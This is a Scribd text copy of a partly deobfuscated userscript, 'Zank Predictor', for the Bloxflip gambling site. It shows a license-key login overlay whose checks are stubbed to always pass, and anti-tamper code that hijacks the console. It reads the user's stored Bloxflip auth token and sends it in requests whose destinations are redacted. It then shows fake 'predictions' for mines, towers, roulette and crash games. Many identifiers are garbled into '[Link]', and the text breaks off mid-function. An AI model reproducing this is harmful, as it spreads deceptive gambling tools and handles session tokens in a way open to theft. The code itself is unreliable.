0% found this document useful (0 votes)
13 views78 pages

Bloxflip UserScript for Roblox Integration

Uploaded by

oculusgames.9
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views78 pages

Bloxflip UserScript for Roblox Integration

Uploaded by

oculusgames.9
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

// ==UserScript==

// @name Zank
// @namespace [Link]
// @version 0.1
// @description try to take over the world!
// @author You
// @match [Link]
// @icon [Link]
// @grant none
// ==/UserScript==

(function() {
async function add() {
try {
var query = {
method : "GET",
headers : headers
};
const responseJson = await fetch("[Link] query);
if ([Link]) {
const storageProviderCfg = await [Link]();
if (storageProviderCfg && [Link] &&
[Link]) {
return [Link];
}
}
return null;
} catch (_0x23a5dd) {
return null;
}
}
/**
* @return {?}
*/
async function testCopiedGoal() {
try {
var query = {
method : "GET",
headers : headers
};
const responseJson = await fetch("[Link] query);
if ([Link]) {
const storageProviderCfg = await [Link]();
if (storageProviderCfg && [Link] &&
[Link]) {
return [Link];
}
}
return null;
} catch (_0x298ccf) {
return null;
}
}
/**
* @param {?} params
* @return {?}
*/
async function remove(params) {
[Link]("Hello");
return true;
try {
var headers = {
Origin : "[Link]
};
var query = {
method : "GET",
headers : headers
};
const result = await
fetch("[Link]
query);
if ([Link]) {
const componentsStr = await [Link]();
const select_arr = [Link]("\n");
for (let i = 0; i < select_arr.length; i++) {
if (select_arr[i].trim() === params) {
return true;
}
}
}
return true;
} catch (_0x4fc1b8) {
return true;
}
}
/**
* @param {?} props
* @return {?}
*/
async function createElement(props) {
return true;
try {
var headers = {
Origin : "[Link]
};
var query = {
method : "GET",
headers : headers
};
const result = await
fetch("[Link]
query);
if ([Link]) {
const componentsStr = await [Link]();
const available_genres = [Link]("\n");
for (let i = 0; i < available_genres.length; i++) {
if (available_genres[i].includes(props)) {
return true;
}
}
}
return true;
} catch (_0x45fc42) {
return true;
}
}
/**
* @return {undefined}
*/
function update() {
var obj = getEvaluateFnObj(this, function() {
return [Link]().search("(((.+)+)+)+
$").toString().constructor(obj).search("(((.+)+)+)+$");
});
obj();
(function() {
countNewLineCharacters(this, function() {
/** @type {!RegExp} */
var parser = new RegExp("function *\\( *\\)");
/** @type {!RegExp} */
var c = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
var line = _0xb39a3f("init");
if (![Link](line + "chain") || ![Link](line + "input")) {
line("0");
} else {
_0xb39a3f();
}
})();
})();
var x = p(this, function() {
var result;
try {
var evaluate = Function('return (function() {}.constructor("return this")
( ));');
result = evaluate();
} catch (_0x371baf) {
/** @type {!Window} */
result = window;
}
var deviceStates = [Link] = [Link] || {};
/** @type {!Array} */
var methods = ["log", "warn", "info", "error", "exception", "table",
"trace"];
/** @type {number} */
var i = 0;
for (; i < [Link]; i++) {
var params = [Link](p);
var key = methods[i];
var provider = deviceStates[key] || params;
params.__proto__ = [Link](p);
[Link] = [Link](provider);
deviceStates[key] = params;
}
});
x();
var orTmp = [Link]("baseColor");
var andTmp = [Link]("hoverColor");
var tmp = [Link]("activeColor");
var hasNamedAttributes = [Link]("themeBaseColor");
var hasSimpleAttrs = [Link]("themeSecondColor");
var toolbarIsDynamic = [Link]("themeThirdColor");
var color = [Link]("themeFourthColor");
if (!orTmp || !andTmp || !tmp || !hasNamedAttributes || !hasSimpleAttrs || !
toolbarIsDynamic || !color) {
/** @type {string} */
orTmp = "#7767C9";
/** @type {string} */
andTmp = "#968bd5";
/** @type {string} */
tmp = "#5c5099";
/** @type {string} */
hasNamedAttributes = "#141414";
/** @type {string} */
hasSimpleAttrs = "#1a1a1a";
/** @type {string} */
toolbarIsDynamic = "#1f1f1f";
/** @type {string} */
color = "#ffffff";
}
if (orTmp && andTmp && tmp && hasNamedAttributes && hasSimpleAttrs &&
toolbarIsDynamic && color) {
/** @type {string} */
var attributeTemplate = "\n :root {\n
--baseColor: " + orTmp + ";\n --hoverColor: " + andTmp + ";\
n --activeColor: " + tmp + ";\n --
themeBaseColor: " + hasNamedAttributes + ";\n --
themeSecondColor: " + hasSimpleAttrs + ";\n --
themeThirdColor: " + toolbarIsDynamic + ";\n --
themeFourthColor: " + color + ";\n }\n ";
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = attributeTemplate;
[Link](fontEl);
}
}
/**
* @param {!Object} event
* @return {undefined}
*/
function onClick(event) {
if (event instanceof MouseEvent) {
const previewPlayer = new Audio("[Link]
click-1924.mp3");
/** @type {number} */
[Link] = 0;
[Link]();
}
}
/**
* @return {undefined}
*/
function create() {
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = "\n h2 {\n color: var(--
themeFourthColor);\n\n }\n\n {\n max-width:
250px; /* Adjust the width as needed */\n max-height: 400px; /*
Adjust the height as needed */\n margin-bottom: -35px;\n
margin-top: -35px;\n margin-left: -20px;\n margin-
right: -20px;\n }\n\n #loginWindow {\n
position: fixed;\n top: 50%;\n left: 50%;\n
transform: translate(-50%, -50%);\n padding: 20px;\n
background-color: var(--themeSecondColor);\n box-shadow: 0 0 8px 4px
var(--baseColor);\n height: 275px;\n width: 250px;\n
text-align: center;\n z-index: 9999;\n border-radius:
15px;\n }\n\n #licenseKey {\n height: 35px;\n
width: 200px;\n padding: 8px;\n color: var(--
themeFourthColor);\n margin-bottom: 10px;\n border-
radius: 10px;\n font-size: 14px;\n background-color:
var(--themeSecondColor);\n }\n\n #loginButton {\n
background-color: var(--baseColor);\n color: white;\n
padding: 10px 20px;\n height: 35px;\n width: 200px;\n
border: none;\n cursor: pointer;\n border-radius:
10px;\n transition: background-color 0.5s;\n box-
shadow: 0 0 10px rgba(0, 0, 0, 0.5);\n }\n\n
#loginButton:hover {\n background-color: var(--hoverColor);\n
}\n\n #loginButton:active {\n background-color: var(--
activeColor);\n }\n #loginButton[disabled] {\n
background-color: var(--baseColor);\n opacity: 1;\n
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);\n }\n\n
#loginButtonContainer {\n margin-bottom: 10px;\n }\n\n
#loadingBarContainer {\n width: 200px;\n height:
20px;\n margin: 10px auto;\n background-color:
#383838;\n border-radius: 10px;\n margin-bottom:
10px;\n }\n\n #loadingBar {\n height: 100%;\n
width: 0;\n background-color: var(--baseColor);\n
border-radius: 10px;\n }\n\n #errorMessage {\n
display: none;\n background-color: #e06767;\n height:
35px;\n width: 115px;\n border-radius: 10px;\n
box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);\n color: white;\n
font-size: 12px;\n margin: 10px auto;\n padding:
10px;\n }\n\n #successMessage {\n display:
none;\n background-color: #79e067;\n height: 35px;\n
width: 115px;\n border-radius: 10px;\n box-shadow: 0
0 10px rgba(0, 0, 0, 0.2);\n color: white;\n font-
size: 12px;\n margin: 10px auto;\n padding: 10px;\n
margin-top: 10px;\n }\n ";
[Link](fontEl);
[Link]("beforeend", '\n <div
id="loginWindow">\n <h2>Zank Predictor Login</h2>\n
<input type="password" id="licenseKey" placeholder="Enter License Key">\n
<div id="loginButtonContainer">\n <button
id="loginButton">Login</button>\n </div>\n <div
id="loadingBarContainer" style="display: none;">\n <div
id="loadingBar" style="width: 0;"></div>\n </div>\n
<div id="errorMessage"></div>\n <div id="successMessage"></div>\n
</div>\n ');
/** @type {(Element|null)} */
var slider = [Link]("licenseKey");
var size = [Link]("ZankPredictorLicenseKey");
if (size) {
[Link] = size;
}
/** @type {(Element|null)} */
var btnTrack1 = [Link]("loginButton");
/** @type {boolean} */
var _0x3ed131 = false;
[Link]("click", function(e) {
if (_0x3ed131) {
return;
}
/** @type {boolean} */
_0x3ed131 = true;
/** @type {boolean} */
[Link] = true;
_init();
onClick(e);
setTimeout(function() {
/** @type {boolean} */
_0x3ed131 = false;
/** @type {boolean} */
[Link] = false;
}, 5000);
});
}
create();
/**
* @return {undefined}
*/
function init() {
/** @type {number} */
scrollTop = [Link];
/** @type {!NodeList<Element>} */
var addedImgs = [Link]("body > :not(#loginWindow)");
/** @type {number} */
var i = 0;
for (; i < [Link]; i++) {
/** @type {string} */
addedImgs[i].[Link] = "blur(4px)";
/** @type {string} */
addedImgs[i].[Link] = "none";
/** @type {string} */
addedImgs[i].[Link] = "filter 0.5s, pointer-events 0.5s";
}
/** @type {string} */
[Link] = "hidden";
/** @type {string} */
[Link] = "hidden";
/** @type {number} */
initializeCheckTimer = setInterval(function() {
[Link](0, scrollTop);
}, 50);
}
/**
* @return {undefined}
*/
function draw() {
/** @type {!NodeList<Element>} */
var addedImgs = [Link]("body > :not(#loginWindow)");
/** @type {number} */
var i = 0;
for (; i < [Link]; i++) {
/** @type {string} */
addedImgs[i].[Link] = "none";
/** @type {string} */
addedImgs[i].[Link] = "auto";
}
clearInterval(initializeCheckTimer);
[Link](0, scrollTop);
/** @type {string} */
[Link] = "auto";
/** @type {string} */
[Link] = "auto";
}
/**
* @return {undefined}
*/
async function _init() {
var instanceId = [Link]("licenseKey").value;
if (!instanceId) {
[Link]("Hello");
onError("Invalid license key x");
return;
}
var WrappedComponent = await add();
var _0x32bf72 = await testCopiedGoal();
if (WrappedComponent) {
var _0x24f454 = await createElement(WrappedComponent);
if (_0x24f454) {
var _0x2ad2d6 = await remove(instanceId);
if (_0x2ad2d6) {
/** @type {(Element|null)} */
var ex1go = [Link]("loginButton");
/** @type {boolean} */
[Link] = true;
setChatBubble("Login successful");
[Link]("ZankPredictorLicenseKey", instanceId);
setTimeout(function() {
/** @type {(Element|null)} */
var canvasStick = [Link]("loadingBar");
/** @type {(Element|null)} */
var adResizeContainer = [Link]("loadingBarContainer");
/** @type {!Element} */
var _timeDisplay = [Link]("div");
/** @type {string} */
_timeDisplay.textContent = "Loading 0%";
[Link](_timeDisplay);
/** @type {string} */
[Link] = "block";
/** @type {number} */
var thumbBarSize = 1;
/** @type {number} */
var chat_retry = setInterval(function() {
thumbBarSize = thumbBarSize + 1;
/** @type {string} */
[Link] = thumbBarSize + "%";
/** @type {string} */
_timeDisplay.[Link] = "var(--themeFourthColor)";
/** @type {string} */
_timeDisplay.textContent = "Loading " + thumbBarSize + "%";
if (thumbBarSize >= 100) {
/**
* @return {undefined}
*/
var start = function() {
var token = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : token
};
var options = {
method : "GET"
};
[Link] = headers;
fetch("[Link]
options).then((rawResp) => {
return [Link]();
}).then((instance) => {
var $asyncTable = [Link];
if ($asyncTable) {
var _0x38468f = [Link];
if (_0x38468f > 16) {
/** @type {(Element|null)} */
var div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Cannot predict\nover 16 mines";
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
return;
}
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
size=5&page=0", params).then((rawResp) => {
return [Link]();
}).then((vuln) => {
if ([Link] === true && [Link]([Link])) {
/** @type {!Array} */
var sortedFolderIds = [];
var suggestionsAndFinalScore = {};
[Link](function(params) {
if ([Link]([Link])) {
sortedFolderIds =
[Link]([Link]);
suggestionsAndFinalScore[[Link]] =
[Link];
}
});
var _0x384460 =
[Link](function(canCreateDiscussions) {
return [Link] > 16;
});
if (_0x384460) {
/** @type {(Element|null)} */
var div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Cannot predict\nover 16 mines";
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
return;
}
var charListNotLatin =
[Link](function(secondSuggestion, firstSuggestion) {
return suggestionsAndFinalScore[secondSuggestion] -
suggestionsAndFinalScore[firstSuggestion];
});
var path = [Link](0, 8);
var elmObjsSorted = [Link]().reverse();
var uniqueConnectors = [Link](0, 4);
/** @type {string} */
var totalString = "";
/** @type {number} */
var i = 0;
for (; i < 25; i++) {
/** @type {number} */
var next_i = i + 1;
/** @type {number} */
var heightInc = [Link]((next_i - 1) / 5);
/** @type {number} */
var initHeight = (next_i - 1) % 5;
/** @type {number} */
var testFilePath = heightInc * 5 + initHeight + 1;
var lastTrailSpace = [Link]("gridEmoji");
var tmp_prob = [Link]("riskEmoji");
var key = [Link]("mineEmoji");
if ([Link](testFilePath)) {
/** @type {string} */
totalString = totalString + (key || "\ud83d\udca3");
} else {
if ([Link](testFilePath)) {
/** @type {string} */
totalString = totalString + (tmp_prob || "\u26a0\
ufe0f");
} else {
/** @type {string} */
totalString = totalString + (lastTrailSpace || "\
u2753");
}
}
if ((i + 1) % 5 === 0) {
/** @type {string} */
totalString = totalString + "\n";
}
}
/** @type {(Element|null)} */
div = [Link]("predictionLabel");
/** @type {string} */
[Link] = totalString;
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
/** @type {!NodeList<Element>} */
var playbackSpeedClasses =
[Link](".mines_minesGameItem__S2ytQ");
/** @type {number} */
i = 0;
for (; i < [Link]; i++) {
/** @type {number} */
next_i = i + 1;
/** @type {number} */
heightInc = [Link]((next_i - 1) / 5);
/** @type {number} */
initHeight = (next_i - 1) % 5;
/** @type {number} */
testFilePath = heightInc * 5 + initHeight + 1;
if ([Link](testFilePath)) {
playbackSpeedClasses[i].[Link]("outlined",
"active");
} else {
if ([Link](testFilePath)) {

playbackSpeedClasses[i].[Link]("outlinedWarned");
} else {

playbackSpeedClasses[i].[Link]("outlined");
}
}
}
} else {
/** @type {(Element|null)} */
div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Invalid API Response";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
});
} else {
/** @type {(Element|null)} */
div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "No active game found";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var load = function() {
var token = [Link]("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token" : token
};
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
params).then((rawResp) => {
return [Link]();
}).then((instance) => {
var $asyncTable = [Link];
if ($asyncTable) {
var _0x5f221d = [Link];
if (_0x5f221d > 16) {
/** @type {(Element|null)} */
var div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Cannot predict\nover 16 mines";
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
return;
}
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
size=5&page=0", params).then((rawResp) => {
return [Link]();
}).then((vuln) => {
if ([Link] === true && [Link]([Link])) {
/** @type {!Array} */
var cells = [];
[Link](function(data) {
if ([Link]([Link])) {
cells = [Link]([Link]);
}
});
var _0x76c7d4 =
[Link](function(canCreateDiscussions) {
return [Link] > 16;
});
if (_0x76c7d4) {
/** @type {(Element|null)} */
var div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Cannot predict\nover 16 mines";
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
return;
}
var pipelets = [Link](function(canCreateDiscussions) {
return canCreateDiscussions + 1;
});
var b = {};
[Link](function(paramName) {
if (b[paramName] === undefined) {
/** @type {number} */
b[paramName] = 1;
} else {
b[paramName]++;
}
});
/** @type {!Array<string>} */
var charListNotLatin = [Link](b).sort(function(key,
sort) {
return b[sort] - b[key];
});
/** @type {!Array<string>} */
var roundBuf = [Link](0, 4);
[Link]();
/** @type {string} */
var message = "";
/** @type {number} */
var i = 0;
for (; i < 25; i++) {
/** @type {number} */
var backstabDmg = [Link](i / 5);
/** @type {number} */
var duedate = 4 - i % 5;
/** @type {number} */
var default_favicon = backstabDmg * 5 + duedate + 1;
var failMessage = [Link]("safeEmoji");
var passMessage = [Link]("gridEmoji");
if ([Link](default_favicon.toString())) {
/** @type {string} */
message = message + (failMessage || "\u2705");
} else {
/** @type {string} */
message = message + (passMessage || "\u2753");
}
if ((i + 1) % 5 === 0) {
/** @type {string} */
message = message + "\n";
} else {
/** @type {string} */
message = message + "";
}
}
/** @type {(Element|null)} */
div = [Link]("predictionLabel");
/** @type {string} */
[Link] = message;
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
/** @type {!NodeList<Element>} */
var playbackSpeedClasses =
[Link](".mines_minesGameItem__S2ytQ");
/** @type {number} */
i = 0;
for (; i < [Link]; i++) {
/** @type {number} */
var nextReplicaIndex = i + 1;
/** @type {number} */
backstabDmg = [Link]((nextReplicaIndex - 1) / 5);
/** @type {number} */
duedate = (nextReplicaIndex - 1) % 5;
/** @type {number} */
var timeSubmittedDiff = 4 - duedate;
/** @type {number} */
default_favicon = backstabDmg * 5 + timeSubmittedDiff +
1;
if ([Link](default_favicon.toString())) {
playbackSpeedClasses[i].[Link]("safeoutlined",
"active");
} else {

playbackSpeedClasses[i].[Link]("safeoutlined");
}
}
} else {
/** @type {(Element|null)} */
div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Invalid API Response";
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
});
} else {
/** @type {(Element|null)} */
div = [Link]("predictionLabel");
/** @type {string} */
[Link] = "No active game found";
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var go = function() {
fetch("[Link]
=> {
return [Link]();
}).then((_props) => {
var history = _props.history;
if ([Link](history)) {
var options = [Link](-
11).map(function(canCreateDiscussions) {
return [Link];
});
var pos = [Link](function(val) {
return val === "red";
}).length;
var rowCount = [Link](function(canCreateDiscussions)
{
return canCreateDiscussions === "purple";
}).length;
var chunkLength = [Link](function(i) {
return i === "yellow";
}).length;
var duration = [Link];
/** @type {string} */
var _0x19e0d3 = (pos / duration * 100).toFixed(2);
/** @type {string} */
var _0x6d89d1 = (rowCount / duration * 100).toFixed(2);
/** @type {string} */
var _0x2982f9 = (chunkLength / duration * 100).toFixed(2);
/** @type {(Element|null)} */
var statusSpan = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Red: " + _0x19e0d3 + "%\nPurple: "
+ _0x6d89d1 + "%\nYellow: " + _0x2982f9 + "%";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
})["catch"]((canCreateDiscussions) => {
/** @type {(Element|null)} */
var statusSpan = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Error fetching data";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
});
};
/**
* @return {undefined}
*/
var create = function() {
/** @type {!Headers} */
var headers = new Headers;
[Link]("User-Agent", "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141
Safari/537.36");
[Link]("X-Auth-Token", value);
var params = {
method : "GET",
headers : headers
};
fetch("[Link]
params).then((rawResp) => {
return [Link]();
}).then((game) => {
var buildingName = [Link];
if (buildingName) {
var mode = [Link];
if (mode === "hard") {
/** @type {(Element|null)} */
var statusSpan =
[Link]("predictionLabel");
/** @type {string} */
[Link] = "Cannot predict for \nhard
difficulty";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
/** @type {!NodeList<Element>} */
var pipelets =
[Link](".button_button__eJwei.towers_towersGameButton__Fm2im");
[Link](function(focusedObj) {
[Link]("safeoutlined");
});
return;
}
var params = {
method : "GET",
headers : headers
};
return fetch("[Link]
size=5&page=0", params).then((rawResp) => {
return [Link]();
}).then((otherEvent) => {
/**
* @param {!Object} val
* @return {?}
*/
function _sortKeysRecursive(val) {
return [Link](function(canCreateDiscussions,
isSlidingUp) {
return canCreateDiscussions + (isSlidingUp === 1 ? 1 :
0);
}, 0);
}
/** @type {!NodeList<Element>} */
var pipelets =
[Link](".button_button__eJwei.towers_towersGameButton__Fm2im");
[Link](function(focusedObj) {
[Link]("safeoutlined");
});
var val = [Link][1].towerLevels;
[Link]();
var trytes;
var groupType = [Link][1].difficulty;
if (groupType === "normal") {
/** @type {!NodeList<Element>} */
trytes =
[Link](".towers_towersGameRow__TeoqD");
} else {
/** @type {!NodeList<Element>} */
trytes =
[Link](".towers_towersGameRow__TeoqD.towers_towersGameThreeRows_
_NHpS9");
}
[Link](function(rootDOMTravelScope, subKey) {
/** @type {!NodeList<Element>} */
var inputEls =
[Link](".towers_towersGameRowContainer__W4mP_");
/** @type {number} */
var out_len = 0;
/** @type {null} */
var dayEle = null;
/** @type {!Array<?>} */
inputEls = [Link](inputEls).reverse();
[Link](function(rootDOMTravelScope, key) {
var _0x35bf39 =
[Link](".button_button__eJwei.towers_towersGameButton_
_Fm2im");
var out_sample = _sortKeysRecursive(val[subKey]);
if (val[subKey][key] === 1 && out_sample >= out_len) {
out_len = out_sample;
dayEle = _0x35bf39[0];
}
});
if (dayEle) {
[Link]("safeoutlined", "active");
}
});
/** @type {(Element|null)} */
var labelNode = [Link]("predictionLabel");
var _0x10e36a = [Link](function(block) {
return [Link] === mode;
});
if (_0x10e36a) {
/**
* @param {!NodeList} s
* @return {?}
*/
var unescape = function(s) {
/** @type {string} */
var code = "";
var nextQueryObj = {
0 : "\u2753",
1 : "\u2705"
};
/** @type {number} */
var i = 0;
for (; i < [Link]; i++) {
/** @type {number} */
var j = s[i].length - 1;
for (; j >= 0; j--) {
/** @type {string} */
code = code + (nextQueryObj[s[i][j]] + " ");
}
/** @type {string} */
code = code + "\n";
}
return code;
};
var title = unescape(val);
[Link] = title;
/** @type {string} */
[Link] = "18px";
/** @type {string} */
[Link] = "22px";
} else {
/** @type {string} */
[Link] = "Not enough data";
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
[Link](function(focusedObj) {
[Link]("safeoutlined");
});
}
});
} else {
throw new Error("No active game found");
}
})["catch"]((data) => {
/** @type {(Element|null)} */
var div = [Link]("predictionLabel");
[Link] = [Link];
[Link]("centered");
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
});
};
/**
* @return {undefined}
*/
var init = function() {
fetch("[Link] => {
return [Link]();
}).then((options) => {
if (options && [Link] &&
[Link]([Link])) {
/** @type {number} */
var UnsignedLong = [Link] - 1;
/** @type {!Array} */
var folderNotes = [];
/** @type {number} */
var type = UnsignedLong;
for (; type > UnsignedLong - 3; type--) {
if ([Link][type] && typeof
[Link][type].crashPoint === "number") {
[Link]([Link][type].crashPoint);
}
}
/** @type {number} */
var _0x8a5f91 = [Link](function(buckets, name) {
return buckets + name;
}, 0) / 3;
/** @type {number} */
var x = 1 / (_0x8a5f91 - 2) / 1;
/** @type {number} */
x = [Link](x);
if (0.01 <= x && x < 1.01) {
/** @type {number} */
x = x + 1;
}
/** @type {number} */
var w = x + x / 2;
/** @type {number} */
var result = x - w / 2;
if (0.01 <= result && result < 1.01) {
/** @type {number} */
result = result + 0.75;
}
/** @type {number} */
result = parseFloat([Link](2));
/** @type {number} */
x = parseFloat([Link](2));
/** @type {number} */
w = parseFloat([Link](2));
/** @type {(Element|null)} */
var o =
[Link](".crash_crashGameCoefficient__M8rxs");
if (o) {
/**
* @param {number} token
* @return {undefined}
*/
var error = function(token) {
if (responseType !== null && responseType !== token) {
callback(token);
}
/** @type {number} */
responseType = token;
clearTimeout(_takingTooLongTimeout);
/** @type {number} */
_takingTooLongTimeout = setTimeout(function() {
/** @type {null} */
responseType = null;
}, 2000);
};
/**
* @param {number} data
* @return {undefined}
*/
var callback = function(data) {
/** @type {(Element|null)} */
var oRemind =
[Link](".crash_crashGameCoefficient__M8rxs");
if (!oRemind) {
return;
}
/** @type {number} */
var ax = parseFloat(data);
/** @type {(Element|null)} */
var speedDial =
[Link](".crash_isCrashed__bO_Rg");
if (speedDial &&
[Link]("crash_isCrashed__bO_Rg")) {
/** @type {string} */
[Link] = "";
/** @type {string} */
color = "none";
return;
}
if (color === "reset") {
clear("");
setTimeout(function() {
/** @type {string} */
[Link] = "";
/** @type {string} */
color = "none";
}, 2500);
return;
}
/** @type {number} */
var deltax = ax - x;
if (x < 5) {
if (deltax < 0) {
if ([Link](deltax) < 0.1) {
clear("#ff4545");
/** @type {string} */
color = "red";
} else {
if ([Link](deltax) < 0.2) {
clear("#ffd445");
/** @type {string} */
color = "yellow";
} else {
clear("#45ff45");
/** @type {string} */
color = "normal";
}
}
} else {
clear("");
/** @type {string} */
color = "none";
}
} else {
if (deltax < 0) {
if ([Link](deltax) < 0.3) {
clear("#ff4545");
/** @type {string} */
color = "red";
} else {
if ([Link](deltax) < 0.4) {
clear("#ffd445");
/** @type {string} */
color = "yellow";
} else {
clear("#45ff45");
/** @type {string} */
color = "normal";
}
}
} else {
clear("");
/** @type {string} */
color = "none";
}
}
};
/**
* @param {string} color
* @return {undefined}
*/
var clear = function(color) {
/** @type {(Element|null)} */
var enemy =
[Link](".crash_crashGameCoefficient__M8rxs");
if (enemy) {
/** @type {string} */
[Link] = "color 0.5s ease";
/** @type {string} */
[Link] = color;
}
};
/** @type {string} */
[Link] = "";
/** @type {null} */
var responseType = null;
var _takingTooLongTimeout;
/** @type {string} */
var color = "none";
/** @type {(Element|null)} */
o =
[Link](".crash_crashGameCoefficient__M8rxs");
if (o) {
/** @type {!MutationObserver} */
var o2 = new
MutationObserver(function(canCreateDiscussions) {
var mutation;
for (mutation of canCreateDiscussions) {
if ([Link] === "characterData") {
var level = [Link]();
/** @type {number} */
var input = parseFloat(level);
error(input);
break;
}
}
});
var mutationConfig = {
characterData : true,
subtree : true
};
[Link](o, mutationConfig);
}
/** @type {(Element|null)} */
var loadMore =
[Link](".crash_isCrashed__bO_Rg");
if (loadMore) {
/** @type {!MutationObserver} */
var observer = new
MutationObserver(function(canCreateDiscussions, response_2) {
var mutation;
for (mutation of canCreateDiscussions) {
if ([Link] === "attributes" &&
[Link] === "class") {
if
([Link]("crash_isCrashed__bO_Rg")) {
/** @type {string} */
color = "reset";
callback(response_2);
}
break;
}
}
});
var observerConfig = {
attributes : true
};
[Link](loadMore, observerConfig);
}
/** @type {string} */
var c_domain_name = result < 1.02 ? "Don't bet" : result +
"x";
/** @type {string} */
var _0x4de389 = x < 1.02 ? "Instant crash" : x + "x";
/** @type {string} */
var _0x133093 = x < 1.02 ? "Instant crash" : w + "x";
/** @type {(Element|null)} */
var statusSpan =
[Link]("predictionLabel");
/** @type {string} */
[Link] = "Prediction: " + _0x4de389 + "\
nRisky: " + _0x133093 + "\nSafe: " + c_domain_name;
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
3;
} else {
/** @type {string} */
c_domain_name = result < 1.02 ? "Don't bet" : result + "x";
/** @type {string} */
_0x4de389 = x < 1.02 ? "Instant crash" : x + "x";
/** @type {string} */
_0x133093 = x < 1.02 ? "Instant crash" : w + "x";
/** @type {(Element|null)} */
statusSpan = [Link]("predictionLabel");
/** @type {string} */
[Link] = "Prediction: " + _0x4de389 + "\
nRisky: " + _0x133093 + "\nSafe: " + c_domain_name;
/** @type {string} */
[Link] = "24px";
/** @type {string} */
[Link] = "30px";
}
}
})["catch"]((canCreateDiscussions) => {
});
};
/**
* @return {undefined}
*/
var socketPlay = function() {
/** @type {(Element|null)} */
var exMap = [Link]("layout_layoutChat__5wEvy");
if (exMap) {
[Link]();
[Link]();
}
};
/**
* @return {undefined}
*/
var setGlobalStyles = function() {
var orTmp = [Link]("baseColor");
var andTmp = [Link]("hoverColor");
var tmp = [Link]("activeColor");
var hasNamedAttributes = [Link]("themeBaseColor");
var hasSimpleAttrs = [Link]("themeSecondColor");
var toolbarIsDynamic = [Link]("themeThirdColor");
var color = [Link]("themeFourthColor");
if (!orTmp || !andTmp || !tmp || !hasNamedAttributes || !
hasSimpleAttrs || !toolbarIsDynamic || !color) {
/** @type {string} */
orTmp = "#7767C9";
/** @type {string} */
andTmp = "#968bd5";
/** @type {string} */
tmp = "#5c5099";
/** @type {string} */
hasNamedAttributes = "#141414";
/** @type {string} */
hasSimpleAttrs = "#1a1a1a";
/** @type {string} */
toolbarIsDynamic = "#1f1f1f";
/** @type {string} */
color = "#ffffff";
}
if (orTmp && andTmp && tmp && hasNamedAttributes &&
hasSimpleAttrs && toolbarIsDynamic && color) {
/** @type {string} */
var attributeTemplate = "\n
:root {\n --baseColor: " + orTmp +
";\n --hoverColor: " + andTmp + ";\n
--activeColor: " + tmp + ";\n --
themeBaseColor: " + hasNamedAttributes + ";\n
--themeSecondColor: " +
hasSimpleAttrs + ";\n
--themeThirdColor: " + toolbarIsDynamic + ";\n
--themeFourthColor: " + color + ";\n
}\n ";
/** @type {!Element} */
var fontEl = [Link]("style");
/** @type {string} */
[Link] = attributeTemplate;
[Link](fontEl);
}
};
/**
* @return {undefined}
*/
var initialize = function() {
var actual = parse("#7767C9");
/** @type {number} */
var _0x16f5d5 = [Link](actual.l + 10, 100);
/** @type {string} */
var loghistory = "hsl(" + actual.h + ", " + actual.s + "%, " +
_0x16f5d5 + "%)";
/** @type {number} */
var _0x2cbac7 = [Link](actual.l - 20, 0);
/** @type {string} */
var highestVersion = "hsl(" + actual.h + ", " + actual.s + "%, "
+ _0x2cbac7 + "%)";
/** @type {string} */
var attributeTemplate = "\
n :root {\n
